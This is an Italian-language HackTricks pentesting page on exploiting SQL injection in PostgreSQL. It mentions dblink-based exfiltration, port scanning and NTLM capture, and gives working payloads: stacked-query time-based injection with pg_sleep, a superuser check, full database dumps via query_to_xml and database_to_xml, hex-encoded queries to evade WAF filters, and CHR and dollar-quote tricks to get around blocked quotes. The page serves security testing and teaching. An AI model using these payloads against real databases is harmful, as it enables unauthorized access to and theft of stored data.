PostgreSQL injection
Reading time: 4 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Questa pagina ha lo scopo di spiegare diversi trucchi che potrebbero aiutarti a sfruttare una SQL injection trovata in un database postgresql e a completare i trucchi che puoi trovare su https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interazione di rete - Escalation dei privilegi, scanner di porte, divulgazione della risposta alla sfida NTLM e esfiltrazione
Il modulo PostgreSQL dblink
offre capacità per connettersi ad altre istanze PostgreSQL ed eseguire connessioni TCP. Queste funzionalità, combinate con la funzionalità COPY FROM
, abilitano azioni come l'escalation dei privilegi, la scansione delle porte e la cattura della risposta alla sfida NTLM. Per metodi dettagliati su come eseguire questi attacchi controlla come eseguire questi attacchi.
Esempio di esfiltrazione utilizzando dblink e oggetti di grandi dimensioni
Puoi leggere questo esempio per vedere un esempio CTF di come caricare dati all'interno di oggetti di grandi dimensioni e poi esfiltrare il contenuto di oggetti di grandi dimensioni all'interno del nome utente della funzione dblink_connect
.
Attacchi PostgreSQL: Lettura/scrittura, RCE, privesc
Controlla come compromettere l'host e aumentare i privilegi da PostgreSQL in:
5432,5433 - Pentesting Postgresql
Bypass WAF
Funzioni di stringa PostgreSQL
Manipolare le stringhe potrebbe aiutarti a bypassare i WAF o altre restrizioni.
In questa pagina puoi trovare alcune funzioni di stringa utili.
Query impilate
Ricorda che PostgreSQL supporta query impilate, ma diverse applicazioni genereranno un errore se vengono restituite 2 risposte quando ci si aspetta solo 1. Ma, puoi comunque abusare delle query impilate tramite l'iniezione temporale:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML tricks
query_to_xml
Questa funzione restituirà tutti i dati in formato XML in un solo file. È ideale se vuoi scaricare molti dati in un'unica riga:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Questa funzione eseguirà il dump dell'intero database in formato XML in un'unica riga (fai attenzione se il database è molto grande poiché potresti causare un DoS o addirittura il tuo stesso client):
SELECT database_to_xml(true,true,'');
Stringhe in Hex
Se puoi eseguire query passando all'interno di una stringa (ad esempio utilizzando la funzione query_to_xml
). Puoi usare convert_from per passare la stringa come hex e bypassare i filtri in questo modo:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Citazioni vietate
Se non puoi usare le citazioni per il tuo payload, puoi aggirare questo con CHR
per clausole di base (la concatenazione dei caratteri funziona solo per query di base come SELECT, INSERT, DELETE, ecc. Non funziona per tutte le istruzioni SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
O con $
. Queste query restituiscono gli stessi risultati:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.